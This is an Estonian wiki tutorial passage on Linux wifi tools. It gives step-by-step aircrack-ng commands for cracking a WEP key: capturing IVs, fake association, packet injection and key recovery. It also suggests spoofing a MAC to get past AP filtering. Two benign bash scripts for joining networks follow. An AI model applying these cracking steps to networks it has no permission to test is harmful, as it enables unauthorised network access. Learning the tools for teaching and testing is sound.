# sudo airodump-ng -c 7 --bssid 00:18:39:21:08:B2 -w foo_dump -i mon0
Kus 7 on kanal, millel foo võrk töötab. 00:18:39:21:08:B2 on AP MAC. foo_dump on faili nimi, kuhu IV-d salvestatakse ning mon0 on monitor režiimis olev seade.
Sinu wifi seadme MAC aadressi sidumine AP-ga
ava uus terminaliaken (sest IV-de kogumine peab jääma käima) ning käivita järgmine käsk:
# sudo aireplay-ng -1 0 -e foo -a 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0
Kus foo on valitud võrgu ESSID, 00:18:39:21:08:B2 on AP MAC, 00:18-DE-77-12-B2 sinu wifi seadme MAC ning mon0 jällegi monitor režiimis olev seade.
Eduka sidumise puhul on väljundiks midagi sellist:
21:59:27 Waiting for beacon frame (BSSID: 00:18:39:21:08:B2) on channel 7 21:59:28 Sending Authentication Request (Open System) [ACK] 21:59:28 Authentication successful 21:59:28 Sending Association Request [ACK] 21:59:28 Association successful :-) (AID: 1)
Kui sidumine ei õnnestunud, siis ilmselt on AP-l peal MAC aadresside filtreering - ligipääs lubatud ainult kindlate MAC aadressidega seadmetelt.
Selle vastu peaks aitama (kontrollimata) see, et oma wifi seadme mac aadressi asemel sisestada AP-ga seotud seadme MAC. Loomulikult tähendab see seda, et peale võtme leidmist tuleb ühenduse saamiseks oma wifi seadme MAC aadress ära muuta.
Alustame pakettide saatmist (package injection)
See operatsioon on mõeldud IV-de kiireks kogumiseks. Alternatiivina peaks wifi võrku kuulama pikka aega, et sellega seotud seadmete tekitatud liiklusest piisav kogus IV-si välja nuuskida.
# sudo aireplay-ng -3 -b 00:18:39:21:08:B2 -h 00:18-DE-77-12-B2 mon0
Võtme leidmine
# sudo aircrack-ng -z -b 00:18:39:21:08:B2 foo_dump*.ivs
või siis
# sudo aircrack-ng -a 1 -0 -n 128 foo_dump*.ivs
Abiks skriptid
Allolevad skriptid tuleks salvestada faili ning anda failile chmod käsuga käivitusõigus.
Järgnev skript on parima leviga vabasse wifi võrku ühendumise automatiseerimiseks. Töötab väga hästi IT Kolledzis.
#!/bin/bash # Connect to best quality open wifi written by Argo Ellisson # wifi device selection, default wlan0, can be changed in script or given as first parameter to the script. if [ $# == 0 ]; then WD="wlan0" else WD=$1 fi # Stop network-manager service and bring device up just in case sudo service network-manager stop > /dev/null 2>&1 sudo ifconfig $WD up > /dev/null 2>&1 sudo iwlist $WD scanning | egrep "Address|ESSID|Quality|Channel|Encryption" | \ awk -v WD=$WD 'BEGIN{maxq = 0; maxqi = 0;}{\ if ($1 == "Cell"){\ i = $2;\ namearray[$2] = $2;\ aparray[$2]=$5;\ }else if( $1 == "Encryption"){\ split($2, a, ":");\ encarray[i] = a[2];\ if( qualityarray[i] > maxq && encarray[i] == "off") {\ maxq = qualityarray[i];\ maxqi = i;\ }; \ } else {\ split($1, a, ":");\ if ( a[1] == "ESSID"){\ gsub(/\"/, "", a[2]); essidarray[i] = a[2];\ }else if(a[1] == "Channel"){\ channelarray[i]=a[2];\ }else{ \ split($1,a,"=");\ if (a[1] == "Quality"){\ sub(/\/100/, "", a[2]); qualityarray[i] = a[2];\ if (a[1] == "Quality"){\ sub(/\/100/, "", a[2]);\ qualityarray[i] = a[2];\ };\ };\ };\ };\ }END{\ print "found networks:"; print "Cell ESSID Channel AP Quality Encryption";\ for ( f in namearray ){\ print namearray[f],essidarray[f],channelarray[f],aparray[f],qualityarray[f],encarray[f];\ }; \ if ( maxqi != 0 ){\ print "Choosing Cell ",maxqi," because of best quality";\ system("sudo iwconfig "WD" essid "essidarray[maxqi]" channel "channelarray[maxqi]" ap "aparray[maxqi]"; sudo dhclient "WD" ");\ } else {\ print "No open networks were found!";\ };\ };'
Järgnev skript on abiks kui soovid lihtsalt ja kiirelt olemasolevate konfiguratsioonidfailide abil tuttavasse, WEP,WPA või WPA2 protokolliga turvatud võrku ühendada. Wifi võrguseadme nimi tuleks skriptis ise ära muuta, kui see ei ole wlan0 .
#!/bin/bash # Connect to WEP/WPA/WPA2 network using configurationfiles. written by Argo Ellisson # default wifi device name WD="wlan0" # Stop network-manager service and bring device up just in case sudo service network-manager stop > /dev/null 2>&1 sudo ifconfig $WD up > /dev/null 2>&1 if [ $# == 0 ]; then # connect using default configurationfile sudo wpa_supplicant -D wext -i $WD -c /etc/wpa_supplicant/wpa_supplicant.conf & else # connect to some other network with wpa_supplicant configurationfile given as a parameter sudo wpa_supplicant -D wext -i $WD -c $1 & fi sudo dhclient $WD
Puuduvad teemad ehk to do list
Selle artikli juures võiks pikemalt lahti seletada veel järgmised asjad:
- Madwifi draiveri installeerimine
- wlanconfig utiliit, mis sisaldub madwifi-tools paketis
- kismet utiliidi installeerimine ja kasutamine koos GPS seadmega wifi võrkude kaardistamiseks
Juhendist
Juhendi koostasid:
- Argo Ellisson
Kasutatud materjalid:
- iw*, wpa*, air* tööriistade linuxi abilehed (man-pages).
Versioonide ajalugu:
Versioon | Kuupäev | Muudatused |
---|---|---|
1.0 | Algne versioon | |
1.1 | ||
1.2 |